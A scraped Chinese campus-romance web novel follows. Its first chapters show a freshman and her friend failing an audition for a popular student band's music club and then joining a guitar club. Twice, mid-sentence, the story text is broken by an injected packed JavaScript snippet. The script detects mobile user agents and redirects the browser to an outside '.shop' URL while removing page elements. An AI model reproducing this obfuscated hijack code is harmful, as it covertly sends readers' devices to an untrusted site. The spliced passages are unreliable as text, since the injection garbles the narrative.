《我的主唱大人》 1. 第一章 主唱 狭小的活动中心此时挤满了人，许多新生还穿着没来得及换下的军训服，肩膀挨着肩膀，脑袋挨着脑袋地坐在一起。仅有的四个角落的电扇吱嘎吱嘎地运作着，把空气中的霉味和汗臭味都混在了一起。 学生会的成员正在台上调试设备。这是文学院为了慰问新生准备的一场迎新晚会，不过对于学院的一腔热情大家显然不买账。 “白天军训已经够累了，晚上又把我们拉过来，还强制签到签退，这不是加练是什么？”一个女生说道。 “学院到底谁拍脑袋想出来的主意？一个军训搞这么花里胡哨的。”另一个男生也插嘴道。 “租个好一点的场地也就算了，偏偏是这么一个只有塑料椅子的活动中心，空调还坏了。”舒青竹拼命用帽子扇着风，“我要死了阿雯，我想回去。” “稍安勿躁，心静自然凉。”宋之雯安慰着她，实际上心里也烦躁得很。 设备调试好了，主持人上台宣布节目开始。底下的嗡嗡声仍然没有停，并且越来越大，到了一个表演魔术的同学露馅的时候演化为了排山倒海的嘲笑。 那个同学十分尴尬，在台上下不来。学院的领导忍不住站起来瞪了一眼，声音才小了下去。不过后面他们就不用担心了，因为随着节目的深入，台下睡倒了一片。 宋之雯也昏昏欲睡，勉强用手支撑着头，直到她被一阵哐当哐当的声音吵醒了。 台边一共四个人，三个男生一个女生，在工作人员的指引下搬乐器，键盘贝斯架子鼓，阵仗还挺大。 宋之雯看了一眼，没什么兴趣，头一歪又睡着了。 这时活动中心上空忽然发出了一声震天的巨响，连地板都在抖动，宋之雯一哆嗦醒了，睡意全无。 舒青竹也用手抚着胸口和她对视了一眼：“吓死了，我的小心脏。” 旁边的男生被吵醒了，怒从中来，忍不住骂道：“卧槽这他妈谁，有病......” 他的话音还未落，又是一声震天的巨响，把他的话堵了回去。男生张了张嘴，惊讶地看着台上，原来是架子鼓贝斯键盘联合发出的声音，一时连想说的话都忘了。 经过了这么一折腾，台下的人都清醒了大半，只好挺着脖子看台上的人还能玩出什么花样。 又是熟悉的响声，不过这一声的节奏变了，鼓点逐渐加快，越来越急，最后一锤定音。 主唱抬起头，似乎和队友有着无声的默契：“大家好，我们是晨星乐队，问候在场的各位了。” 原来那三声鼓声是他们打招呼的方式，还挺别致。宋之雯心想。 在看清了主唱的脸之后，舒青竹忍不住发出了惊叹：“卧槽，好帅。”之后就是此起彼伏的“好帅啊”的声音。 宋之雯这才仔细观察这位主唱，一头有些凌乱的黑发，一双别致的桃花眼，琥珀色的瞳仁像是一汪水，眼尾微微上翘，似乎要勾掉人的魂，鼻子如同俊朗的山峰，下颚线干净利落，让人想起少女杂志上的漫画。 他身旁的两位长得也不差，左边的男贝斯手烫着棕色的小卷毛，五官十分清秀。右边的女键盘手脸型十分小巧，睫毛卷翘的眼睛就占去了小半张脸，嘴唇是一抹烈焰般的红，烫成波浪的秀发高高地扎成一个马尾，垂下的头发随意散落两肩。 相比之下后面的鼓手就显得一般了，剃着个平头，身形有点壮，然而他每次打鼓的力度都拿捏得恰好，一看就是功力深厚。 主唱看着大家，等安静下来了才说道：“一首我们翻唱的歌曲，白噪音乐队的《无耻混蛋》送给大家。” 他的声音里带着一点沙哑，但语气语调都拿捏得恰到好处，和弹钢琴一样好听。 开头的旋律一出来，大家完全没有了刚才的困意，全都沸腾了，哗啦哗啦地挥舞着手里的荧光棒，有几个甚至想站起来蹦，被学生会制止了。 Didyoufindoutwhatisreal? 你发现什么是真实的吗？ Youbesad,disagree? 你变得伤心不是吗？ Can’tyouseeI’mtryingit? 你不能看到我在尝试吗？ Theyjustwannaletyoufeelsick. 他们就是想让你感到恶心。 他的歌声里带着淡淡的烟草味，句末用鼻音轻轻地哼着，听得人骨头酥麻，整个人随着旋律摆动，看似慵懒随性，但到了关键的时候却又加重了音调，十分有穿透力，似乎是在控诉对这个世界的不满。 大家这几天白天被太阳晒着，一动也不能动，晚上又被强行拉来看迎新晚会，本来就憋了一肚子火，这回像是发泄似的，尖叫声一浪高过一浪，快要把小小的活动中心的屋顶给掀了。 主唱看到场子终于被自己热起来了，勾起嘴角笑了一下，这一笑不要紧，又是引发一女生阵疯狂的尖叫。 他索性走上前一步，示意大家摇起手来互动，后面的几位乐队成员也拼命抬手，让大家跟着唱。 Don’tlosemyheart,myfriend. 和我离开这座城市吧， 登上那列车， 迷雾中寻找答案。 整个活动中心回荡着大家的歌声，每个人都放松地扭动着身体，把军训的痛苦和开学后要面临的课业全然抛在了脑后。 然而领导的脸色就很不好看了，宋之雯亲眼看见他的脸由红变白再变青，和七彩变色龙一样好笑。他偷偷向学生会主席招了手，压低了声音说道：“你这乐队哪里请来的？” 主席面露难堪地说道：“对不起老师，我是看这个乐队在学校很有名，才特意请过来给同学们放松放松的。” “下次不要搞这种了，我们是文学院，应该弘扬传统文化懂吗？” “懂了老师，以后不请了。”主席点点头。 还沉浸在音乐中的大家全然没有发现这些小动作，他们只想尽情地蹦，以表达对学院安排的反抗，最后连学生会长都拦不住他们了，只能放任大家站起来。 乐队的成员对今天的演出效果也十分满意，结尾每个人还来了段炫酷的solo，将气氛推向了顶峰。最后一个尾音结束掌声经久不息，甚至还有人喊道：“再来一首。” 主唱摆摆手，坏笑了一下：“今天就不唱了，如果你还想听更多晨星乐队的歌，就欢迎你扫描二维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491324|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 码报名晨星音乐社，我是社长加主唱齐扬，这是我们的老师和键盘手何瑜，贝斯手吴衡，还有最棒的鼓手韦峰，谢谢大家。” 他张开手臂，和乐队成员一起朝大家鞠了一躬，又伸出两根手指放在额头前做了一个敬礼的手势，然后拿着话筒架利落地走下台去了。 “快快快，要不要去要个微信？”舒青竹激动地推了推宋之雯，往远处看的时候又失望地叫道，“被人抢先了一步啊。” 已经有女生冲过去，拿着手机示意齐扬可以不可以加个微信，齐扬笑着摇头拒绝了，那个女生瞬间垮了脸，不甘心地回来了。 接着又是引发了一阵扫二维码的狂潮，底下时不时回响着“哎呀群扫码达到上限了，你拉我一下”“好”“我们互相拉一下”的声音，场面十分混乱。 “怎么样阿雯？要不要我拉你一下？”舒青竹对宋之雯说道。 “可是我唱歌不好听。”宋之雯小声拒绝了。 “没事，就当是陪我了，再说了，看见帅哥学长不亏。”舒青竹不由分说就把宋之雯拉了群，还热心给她科普，“我已经查过了，这个齐扬在学校很有名的，是流行演唱专业大三的学生。晨星音乐社本来只搞演唱教学的，是齐扬提出了创办晨星乐队，结果在学校里演出之后一炮而红，每年的开学季都被投稿。” 她接着往下扒拉：“有人说齐扬现在单身欸，但是很多人要他微信都被拒绝了，不好搞。” “我劝你还是小心点吧。”旁边有男生把手机展示给她看，“你看看表白墙下一条是什么？” “投稿音乐学院的渣男XXX？之前狂追我了一个月结果把我追到手后冷暴力我.......”舒青竹眉头越皱越紧，叹了口气，“唉，有才华就是有大把小姑娘往上扑，不过我翻了表白墙好像没人说齐扬有什么问题。” “总之这些学音乐的，会唱几首歌就把自己当回事了，装的。”男生嫌弃地撇了撇嘴。 舒青竹笑了：“我怎么从你的语气中闻出了一股酸味呢？” 有了齐扬这个天花板，后面的节目就显得索然无味，大家蹦迪也累了，又开始了打瞌睡模式，一直睡到散场。 散场之后寝室的另外两个女孩子杨灵和钟小欢也围了过来。本来这些天宋之雯和舒青竹更熟一点，但在齐扬很帅这件事上，四个人竟然达成了难得的一致，一路说说笑笑地回了寝室。结果回去之后发现整层文学院的女生都不淡定了，话题里都在讨论齐扬，一直到深夜声音才渐渐地小了。 随着晨星乐队在各个学院展开巡演，报名群里的队伍日渐壮大，很快就满了500人，于是又开了二群。 这天吃完午饭，舒青竹拉着宋之雯的手：“群里说今天中午音乐社会在主干道上摆摊，填写报名表，我们要不要一起去？” 宋之雯看着外面的大太阳，心里有点发怵：“要不还是你去吧，太热了。” “哎呀，小雯雯，你就陪陪我吧，你忍心把我一个人丢在太阳底下吗？”舒青竹一把抱住宋之雯，“再说你也主动点嘛，你难道一个部门都不想加吗？” 宋之雯一想也有道理，便撑开了伞：“走吧。” 然而一到报名的地方，两人就傻眼了。 2. 第二章 面试 学校的主干道是有坡度的，晨星音乐社在坡底摆摊，后面排队的队伍顺着坡度而上，快要排到坡顶的宿舍门口，而且女生占了大半，少部分是看热闹的男生。 舒青竹叹了口气，默默地拉了宋之雯排到了队伍的最后面：“今天是肯定不能回寝室午休了。” 宋之雯抱着手臂看着她：“打算怎么补偿我？” 舒青竹双手合十，在她面前赔笑道：“我错了，等军训结束请你喝奶茶。” 队伍移动得十分缓慢，太阳却越来越毒辣，宋之雯的前后背都被汗水浸湿了，汗水顺着脸颊淌下来，舒青竹更是累得蹲在了地上。 宋之雯从包里拿出了水递给她：“喝一口吧。” “谢谢啊。”舒青竹和看见了救命稻草一般，拿过去咕咚咕咚灌了好几大口。 “要不我帮你排，你回去休息吧。”宋之雯很担心她的身体状况。 “不用不用。”舒青竹连连摆手，“是我自己要排的，我活该。” 宋之雯伸长脖子，往前看了看：“今天是不是那个主唱来了，所以才这么多人？” “可不是嘛，除了之前报名的，还有不少路过围观的，这是拿他当招牌招人了。”舒青竹拿出小镜子，理了理头发，“我现在这样丑死了，穿着又绿又土的军训服，刘海还粘在一块了。” “放心，即使你化了妆现在也全花了。”宋之雯看着前面一个在疯狂补妆的女生安慰道。 “唉，怎么看个帅哥门槛也这么高啊，文学院本来男生就少，有别的帅哥还不让看一下。”舒青竹哀嚎。 “行了别嚎了。”宋之雯拍拍她的肩，“快到了。” 排了将近一个小时，终于到她们了，宋之雯看还是前几天的那四个人。舒青竹很自来熟地过去攀谈：“是写报名表就可以加入音乐社了吗？” 吴衡没绷住扑哧一声笑了：“同学，你也想得太美好了，这么多人我们的场地还够不够了？” “不许欺负学妹啊。”旁边的何瑜瞪了他一眼。 “知道了老师。”吴衡收起了嬉皮笑脸的表情，推过去一张报名表，“来，这边报名，把你的姓名、学院和手机号都写一下，写完之后我们会分批面试，具体时间地点以短信告知。” 前面的韦峰也向宋之雯招手：“同学，这边也可以报名的。” 宋之雯走过去，用手拨了拨沾了汗水的发丝，埋头写起了报名表，边写边问：“面试大概是什么时间？这几天军训还没结束。” “考虑到大家的课比较难协调，一般是中午，不占用额外的时间，过几天会通知的。”韦峰耐心地回答。 又一个午觉睡不成了。宋之雯在心里叹气。 “那如果我想换个时间段呢？比如我想和她一起？”宋之雯指了指舒青竹。 韦峰想了一下：“也行，只要你在面试的时间段来，和我们说一声就好了。” “面试的内容是什么呀？” “你只要准备1-2分钟的清唱就好了，至于歌曲的内容，随便。”一个熟悉的声音在宋之雯耳边响起。 宋之雯抬头，正好对上齐扬的目光。午后的阳光照在他的脸上，如同精灵般跳舞，他那双琥珀色的眼睛也和透亮的玻璃球一般，精致而又迷人。 “谢谢。”宋之雯把填完的报名表交还给他，然后对舒青竹说道，“走了。” 走出了几百米远，舒青竹才敢大声说道：“卧槽你刚刚看到阳光照在他身上了吗？太他妈帅了，尤其是那双眼睛太好看了。” “把你的口水收一收。”宋之雯嫌弃地看向舒青竹，“有那么夸张吗？” “小雯雯，你对帅哥的鉴赏力还有待提高啊。”舒青竹痛心疾首地拍了拍宋之雯，然后一看表，“卧槽午休快结束了，我们直接去军训的地方吧。” 中午排的这一个小时可以说耗尽了所有的力气，军训时舒青竹和宋之雯站了没一会儿就头晕眼花，于是喊了报告申请到旁边休息。 教官点头，还很懂地加了一句：“中午去排队了吧？” 周围响起了一片“咦”的声音，舒青竹恨不得遁地逃跑，赶紧拉着宋之雯到了一个远一点的树荫坐下。 趁着教官没往她们这边看，舒青竹偷偷打开了手机，小声说：“我听说今天有别的系的为了看齐扬，想蹭他们流行演唱的专业课，结果被轰出来了，看，还有照片呢。” 宋之雯凑了过去，照片应该是从门外偷拍的，少年穿着一身纯白T恤，一只手撑着头，另一只手漫不经心地记着笔记，脸正好抬起来对着黑板，将高挺的鼻梁和完美的下颚线展露无遗。 舒青竹继续喋喋不休地往下说：“也是，他们音乐专业的还要练琴呢，要是放那么多人进来那还得了？课都没法上了。” “私生饭行为不可取啊。”宋之雯摇摇头。 “我说这要是在古代，直接都不用打仗了，送他去和亲，从此君王不早朝。” “你这思想很危险啊。”宋之雯用手戳了她的脑袋一下，两人嗤嗤地笑了一阵。 “还有我发现乐队的这几个人都不简单。”舒青竹把往下扒拉的信息展示给宋之雯看，“何瑜本硕都是我们学校的，再加上她父母都是教授，所以毕业留在学工办当老师。韦峰的架子鼓拿过全国第一。吴衡从小就是童星，参加过大大小小的各种音乐节目，听说他们家的火锅店也是当地的网红店。齐扬家里是做生意的，也很有钱。” “音乐本来不就是有钱人玩的吗？”但是宋之雯心里又有了个疑问，“童星怎么会来我们学校？不去专门的音乐学院吗？”虽然C大的音乐学在非专业院校里排名第一，但比起专门的音乐学院比如A大还是有差距的，对不想走专业路线又想混个985学历找工作的人来说倒是很有用。 “谁知道呢，其实我觉得齐扬应该去A大的，不然真有点浪费了。”舒青竹用手撑着头，一脸十分可惜的样子。 眼前忽然出现了一片阴影，接着映出教官那张硕大的脸：“休息好了吗？可以训练了吗？” 两人脸上的笑容瞬间消失了。 训练完了之后宋之雯累得都不想吃饭了，和舒青竹随便买了点奶茶面包应付了事。回到寝室，舒青竹一面窝在躺椅里恢复元气，一面用手机翻着网易云歌单：“阿雯，我们组个组合去面试怎么样？” “行啊，本来就是我陪你的。” “那你选一首歌吧。” 宋之雯用手支着头想了一会儿：“要不范玮琪和张韶涵的《如果的事》？” 舒青竹笑了，往她那里凑近了一点，不怀好意地说：“我怎么觉得我们俩唱这首歌怪怪的呢？” 宋之雯伸出手挡在了胸前：“我先申明一下，没有别的意思，单纯觉得这歌好听而已。” “行啊。”舒青竹又笑着躺了回去，“你个子高一点唱范玮琪的部分，我张韶涵，就这么决定了。” 第二天晚上宋之雯和舒青竹就开始正式地练歌，为了不打扰寝室里的人去了阳台上。清唱只有一分多钟，所以两人删去了后半部分，只唱第一段主歌和副歌。 两人先放原唱听了几遍，很快就能跟着哼唱了，到最后索性关掉原唱试着自己唱。 傍晚的女生宿舍笼罩在深蓝的余晖里，周围只有轻微的晚风拂过树叶的声音，显得这歌声更加格格不入。 “我说宋之雯舒青竹。”钟小欢实在听不下去了，摘了耳机，冲着外面喊了一声，“你们这唱法，要进音乐社估计够呛。” 舒青竹不相信地探出头来：“有那么难听吗？” 钟小欢沉痛地点了点头。 “不对呀，我就是按照这个调唱的啊。”舒青竹怎么也想不明白，“来我们用K歌软件录一个听听。” 最后两人在手机里听到自己的声音，不得不承认，好像是有那么一点点跑调。 “没事，重在参与嘛。”舒青竹安慰宋之雯。 宋之雯苦笑，配合着点了点头。 过了两天，两人收到通知，要她们周三的中午十二点半在活动中心参加晨星音乐社的面试。 宋之雯和舒青竹当天上午结束军训后，随便吃了点东西就往活动中心赶，结果还是有一长串人已经在排队了，从大厅里一直排到门外。 舒青竹一只手拿着手机默背歌词，另一只手紧紧抓着宋之雯：“怎么办阿雯，我好紧张。” 宋之雯忍不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491325|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了：“不是你说重在参与吗？” “可是要在这么专业的人面前唱歌，我还是好紧张。” “没事，深呼吸，先吸一大口气再慢慢吐。”宋之雯给她做了个示范，“是不是好点了？” 舒青竹试了一下，惊喜地说道：“还真是，谢谢你啊阿雯，我继续背歌词了。” 面试地点设在活动中心里面的一间会议室，上一个结束之后都会有人叫号。今天的效率明显比报名那天高了很多，每一个大概隔了两三分钟就出来了，才过了半个多小时她们前面就只剩了一个人。 虽然知道不能看，但两人还是踮起脚尖，好奇地往里张望。没过多久里面就传出了试唱的声音，是维塔斯的《opera2》。 两人直接呆住了。 那嘹亮的嗓音，那纯熟的技巧，那直冲天灵盖的高音，震得人头皮发麻，简直是降维打击。 一曲终了，齐扬带头鼓起了掌，然后打量了一下唱歌的女孩：“声音技巧已经很成熟了，但我们只是个流行音乐的面试，你这有点太大材小用了吧？” 女孩甜甜地笑了一下，声音腻得像老式的奶油蛋糕，让人嗓子发齁：“不拿出点真本事社长怎么会选我呢？” 舒青竹在外面听得直翻白眼，宋之雯忽然有种很想吐的冲动。 齐扬也没有接她的话说下去：“回去等通知吧。”不过能听得出他对这个还是很满意的。 女孩的脸上浮上一层喜悦，蹦蹦跳跳地出了门，宋之雯才发现她是个个子小小，脸型圆润，穿着一身JK制服的女孩，与刚刚那首要掀翻屋顶的歌形成了鲜明的反差。 舒青竹叹了口气，和宋之雯对视了一眼：“事到如今，唱完吧。” 宋之雯学着刚才的样子深呼吸，尽量让自己平静下来，迈着矫健的步伐走进了面试室，和背书一样地说道：“各位学长学姐好，我是来自文学院的宋之雯。” “我是舒青竹。” “今天我们要演唱的歌曲是《如果的事》。” 齐扬用眼睛盯了她一会儿，然后做了个开始的手势。 宋之雯连脸上的肌肉都紧绷得不自然了，费劲地开口，颤颤巍巍地唱了前两句。 我想过一件事不是坏的事 一直对自己坚持爱情的意思 完了，起高了。 怎么办怎么办？宋之雯头脑一片空白，疯狂地想解决办法。 要不要后面降低点？可是哪有唱歌先高后低的，也太奇怪了。 那接着唱下去？ 可是后面的音太高了，自己能承受得住吗？ 算了就这样将错就错吧，不然更容易被看出来。 于是她的嗓音继续往上走高，直到到了一个自己根本不敢想的高度。 总算把自己的部分唱完了，她刚要松一口气，只听舒青竹开口就比她低了八度。 完蛋，那自己还怎么唱？宋之雯急得汗都出来了，又不能表现得太明显，只能冲舒青竹挤了一下眼睛，示意她待会儿合唱的时候配合自己一下。 余光扫过齐扬的时候，只见他手放在嘴唇边，专注地盯着她，但宋之雯看得出来，他在笑，只是借着手挡一下而已。 她心里的防线彻底溃败了，都不知道自己副歌是怎么唱的，高不上去低不下来，像根线吊在那里，气若游丝，再加上舒青竹低八度的声音，两人跟仇人似的哐哐哐地在打架，而且还不在同一个平面上。 旁边几个人的表情也精彩纷呈，嘴角上去了又下来，忍得十分辛苦。 最后一句唱完，宋之雯觉得这辈子没有受过这样的酷刑，脸面都丢尽了，只想夺门而逃。 齐扬为了照顾她的面子，还是说了一句：“谢谢你的演唱，回去等通知吧。”不过听得出声音都变掉了。 宋之雯低下头，脸火辣辣的，拉上舒青竹就走。 等等她们走出了有一段距离之后，吴衡才如释重负地笑倒在了齐扬的肩膀上：“我的天憋死我了，可是真的好好笑啊哈哈哈，我这辈子没听过唱歌这么搞笑的，没一句在调上。” “她们来错地方了。”齐扬皱了皱眉，望着门外意味深长地说道，“应该去演喜剧。” 3. 第三章 社团 他这句话一出，其他两人也加入了大笑的阵营，韦峰已经笑抽了，何瑜也笑出了眼泪：“我的天，你可真会开玩笑。” 吴衡笑得肚子疼，揉了揉肚子缓了一下才说道：“不过说实话，刚刚那两个女生还挺好看的，但还是高一点的那个更好看，是吧？” 齐扬回想了一下，舒青竹个子小一点，鹅蛋脸，柳叶眉，圆眼，有一种古典美。宋之雯个子高挑一点，棕色的长发烫成微卷自然地垂落下来，一双杏眼仿佛含着春水，下颚略方，却给她增添了一种娇憨感，整个人洋溢着一股书卷气，一看就是好学生，和他们这种人不同。 于是他稍微应和了一下：“嗯，是挺好看的。” 何瑜看向了吴衡，冲他挑了挑眉，八卦地问：“怎么？看上人家了？” “误会啊误会。”吴衡连连摆手，“我只是随口夸一下而已。” “行了别聊了，外面的人还等着呢。”何瑜制止了他们，喊道，“下一个。” 走出了好一段距离以后，舒青竹才紧张地问宋之雯：“你觉得我们刚刚的表现怎么样？” 宋之雯表情复杂地看着她，犹豫了一会儿才说：“你要听实话吗？” “当然。” “你跑调了，我也跑调了。” “啊？真的吗？”舒青竹的脸上露出一丝惊慌，用手捂住了嘴巴，“可是我觉得还好啊。” “你是没看那几位学长学姐的表情。”宋之雯扶额，“我都怕他们忍笑忍出内伤。” 惨遭晴天霹雳的舒青竹手缓缓滑上去捂住了自己的脸：“完了完了，我的一世英名啊。” 宋之雯见状，便柔声安慰道：“你想想面试的人这么多，他记不住你的，没准转头就把你忘了。” “也是。”舒青竹把手拿下来，连连摇头，“只能说我和帅哥没有缘分吧。” “我说你爸妈给你起这个名，想让你做一个稳重的淑女，怎么一点都不稳重啊？”宋之雯试着转移话题。 “他们还幻想着我和古代的大家闺秀一样知书达理呢，想得太美好了。”舒青竹一撇嘴，拉起宋之雯的手，“走吧，喝杯奶茶冷静一下。” 两天之后面试结果下来了，两人不出所料没有进音乐社。当天晚上晨星音乐社的公众号就出了一条推送，介绍新一届的晨星音乐社成员。 宋之雯用手扒拉着往下滑，除了看到几个熟悉的名字之外，有一张照片吸引了她的注意，圆脸、大眼睛、JK，这不是面试时候碰到的那个女孩子吗？ 她再往下翻，看到了女孩的名字叫尹心悦，是会计专业的大一新生。 “还记得那天我们面试时碰到的那个女生吗？”宋之雯对舒青竹喊道，“她进晨星音乐社了。” “卧槽，那个奶油蛋糕进了？”舒青竹从椅子上弹起来冲到她面前，“给我看看。” 她盯着手机看了有一会儿，才服气地点点头：“人家这水平是要让她进，不然太不公平了。” “你们在说什么？什么奶油蛋糕啊？”一旁的杨灵忍不住展现出好奇的神色，她是个白净的南方姑娘，说话轻轻柔柔的。 “我跟你讲......”舒青竹正要开口。 “我也要听。”钟小欢是个豪爽的北方姑娘，此时摘了耳机，抛弃了她最爱的小说和电视剧，趴在床的栏杆上洗耳恭听。 于是舒青竹开始绘声绘色地讲述起了那天面试的场景，听到最后两人也露出了恶心的神情。 舒青竹抱着手臂，最后总结性地加了一句：“不得不说她的唱功是真的牛掰，但人嘛真是一言难尽。” 钟小欢特意从床上爬下来，怜爱地拍了拍她的肩膀：“说人家绿茶就有男的吃这套，我看这音乐学院的帅哥你就别想了，有大把的人准备扑上去呢。” “唉，也是。”舒青竹叹了口气，“早点睡吧，还要准备最后的队列训练呢。” 汇报的那天骄阳似火，一群新生排成整整齐齐的豆腐块，按照教官的指令像个机器人一样左转、右转和敬礼，在领导满意的鼓掌声中结束了这场表演。 军训结束的那个周末，各个学生组织和社团就开始抢着发宣传单和在操场上摆摊了，毕竟这是他们招人的最后一个机会，一些小的社团如果招不到人没有充足的经费就要关门大吉了。而像晨星音乐社这样已经满员的大社团就笑看各家争抢，坐收渔翁之利了。 舒青竹刚结束了军训这一桩心头大患，心情舒畅，对宋之雯说：“各个社团的招新要不要去看看？我现在一个部门都没加。” 宋之雯点头，反正闲着没事，不如去逛逛。 到了摆摊的操场那边两人还是被这阵仗吓了一跳，只见操场的外面一圈跑道全是摊位和人，里面也和排列组合一样挤满了摊位。空的场地上动漫社的成员穿着cos服在热情地和大家打招呼，民乐社支起了谱子开始演出，烹饪社的更是把提前准备好的点心到处分发。 宋之雯拉着舒青竹艰难地在人群里穿梭，路过一个摊位的时候被一块简洁的牌子“吉他社”吸引了注意。男生见她靠过来，立刻递上去资料：“要不要了解一下？” 宋之雯一抬头，才发现这是一张熟面孔：“韦峰？” 韦峰也马上反应过来，指着宋之雯和舒青竹兴奋地说道：“你们不就是来面试的那个吗？” 舒青竹差点一口老血吐出来：“大哥，能不提这茬了吗？” “行行行，不提了。”韦峰把能找到的宣传折页和照片都放在他们面前，“慢慢看吧。” “你怎么在这里？”宋之雯问，“你不是音乐社的吗？” “别提了，这个吉他社本来快要倒了，是原来的社长求我和晨星音乐社进行一些合作，我才接手的，不过也是今年才实行，不知道效果怎么样。” 听到“合作”，舒青竹的眼睛亮了：“那能见到社长吗？” 韦峰露出了一个神秘莫测的笑容：“不一定哦，社长很忙的，音乐社就很多事，没空管这边。” 舒青竹立刻泄了气。 “这个社团还要面试吗？”宋之雯问。 韦峰摇头：“这倒不用，我们更像是一个教学社团，教你们学吉他，和外面上课差不多。” “那琴会提供吗？还是要我们自己买？” “当然不提供了，社团没那么多钱，如果你们自己有琴最好，没有到时候会统一购买。” “买的话要多少？”宋之雯有点心里没底。 韦峰指着宣传页的一栏：“便宜点的五百左右吧。” “好贵啊。”舒青竹倒吸一口凉气。 韦峰无奈地耸耸肩：“已经是我们能联系到的最优惠的价格了，你去外面的琴行看看，都是这个价。” “除此之外的社费要交多少？”宋之雯继续追问。 “也是五百，一部分作为社团经费，一部分给教吉他的老师的课时费，你可以考虑一下。” “我们走吧。”舒青竹拉了宋之雯就要离开，“太贵了。” “等一下。”宋之雯拦住了她，“让我再想想。” “你确定？”舒青竹拿手试了一下她的额头，“进个社团就要花一千块，相当于你一个月的生活费，你考虑清楚。” 韦峰听得不乐意了：“妹妹，你去打听一下，找个吉他老师学琴要多少，一节课两三百最起码吧？我们可比这个便宜多了，而且是包一学年的。” “我报个名吧。”宋之雯决定了，“是现在缴费吗？” “你先报名，到时候我们社团有个见面会，会统一收费的。”韦峰看到自己终于拉到一个成员，喜笑颜开。 宋之雯刚写完 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在刚来的时候，宋之雯就听学姐说新媒体中心出了名的难进，要进行四轮面试，因此有点退缩了：“还是算了吧。” “不试试怎么知道？”男生继续坚持。 “是啊。”舒青竹强行递给宋之雯一支笔，“就试试又没关系的。” 宋之雯被这么赶鸭子上架，只好硬着头皮填了表。 鉴于刚刚宋之雯的成果颇丰，舒青竹也不甘示弱，加了一个汉服社和一个动漫社，又去投了学院的学生会，领了一大堆礼品才满意地回去。 在一个又一个热闹的活动中，新学期就这么开始了。 文学院新学期的第一堂课是现代汉语课，教他们的老师姓刘，同时兼任班主任。这位刘老师四十几岁就评上了教授，而且没有一点被学术摧残过的痕迹，头发依旧是那么乌黑茂密，整个人一身深灰西装，个子不高却气质儒雅。 他刚走上讲台就丢下一句话：“你们不要以为上了大学就轻松了，我跟你们说上我的课日子不会太好过。”紧接着他就开始介绍成绩的构成，除了出勤还有作业、小测、期中和期末考，都占有一定的比例。 底下哀嚎声一片。 老刘跟没听见似的，继续自顾自往下讲语音这一节，等结束了还留了一项作业，把几个句子的注音用国际音标标出来。 一下课舒青竹就电量耗尽地瘫在了桌子上：“累死我了，没想到上大学也这么不轻松。” “快点走吧。”宋之雯起身拉她，“我一会儿还有吉他社的见面会呢。” “这群人也真是，还让不让人睡午觉了。”舒青竹嘟囔着，不情愿地起来走了。 等宋之雯到约定的阶梯的时候，发现人居然还不少，其中大多数是女生，正满怀期待地往门外看。 后面已经坐满了，她只好拣前面的位置坐下。 十二点半韦峰准时出现，跟在他后面的还有何瑜，宋之雯能明显感到周围的几个女生难掩脸上的失落。 韦峰走上台，清了清嗓子：“首先感谢大家选择了吉他社，自我介绍一下，我是社长韦峰。这位是音乐学院的何瑜老师，以后负责教大家的吉他课。我想大家也都知道今年政策有了一些变化，我们与晨星音乐社建立了合作......” 他故意停顿了一下，扫视了一下台下的大家：“不过我也希望，大家来这里的目的是真的热爱吉他，想学吉他。我知道大家对晨星音乐社的社长很感兴趣，但是社长也很忙的，每天要处理那么多事情，没空管这边。” 台下的空气瞬间凝固了。 “所以不要为了社长可能来这么一次，而委屈自己上课和花这一千块钱，行了我说完了。”韦峰拿出长长的一串名单，“考虑好上吉他课的来我这里缴费，如果现在改变主意了想退出的也可以和我说一声。” 4. 第四章 盼望 静止了有几秒钟，一个女生起身离开，接下来又有几个人站了起来往门外走，一阵折叠椅哐啷哐啷的声音，在几分钟之后才平息。 韦峰看着剩下的人，满意地笑了：“你们现在就是吉他社的正式成员了，先到我这里缴费，然后认识一下。” 宋之雯交完费用后简单地数了一下，教室里大概还有四十多个人，男女比例基本持平，她也没什么好自我介绍的，便站起来说了一下学院和名字。 其他人也都很拘谨，只是说一下学院名字就完了，不愿意拓展开来。 韦峰见状，便打圆场道：“没关系，反正我们有一年的时间慢慢认识。接下来我要说的才是正题，虽然我之前说了吉他社和晨星音乐社有合作，但你们知道为什么合作吗？” 底下的人直摇头。 “是因为我们乐队现在缺一个吉他手。吉他相对来说是乐器中比较好学的，容易上手，所以我们想从你们这些人中选出吉他手来。” “那让主唱兼任一下吉他手不就好了吗？”有人喊道。 韦峰也忍不住笑了：“我们目前的想法还是让主唱专心唱歌比较好。” “行了，轮到我我征求一下大家的意见了。”何瑜走上前一步，“大家哪个时间段没课的比较多？我们折中一下，安排一周一次的授课。” 下面报出的答案五花八门。 何瑜和韦峰对视了一眼：“好像很难凑出一个大家都有空的时间，那我们还是中午？反正每周不睡一次午觉也没什么。” 大家普遍都同意这个方案，最后投票确定了周三的中午。 韦峰带头鼓掌：“你们可要好好珍惜，音乐学院的老师自愿加班给你们上课，有些人想旁听都旁听不来，有点眼力见啊。” “你就别吹捧我了。”何瑜推了一下他。 “还有最后我说一句，我们吉他社的管理组现在也在招人，分别是活动策划部和宣传部，有需要可以找我报名哈。”韦峰扫视了一圈底下，“没什么问题大家就先去上课吧。” 宋之雯起身收拾东西，等上完课后把今天吉他社见面会的情况都和舒青竹说了。 舒青竹听得一愣一愣的：“社长真的那么直白？” “对啊。” 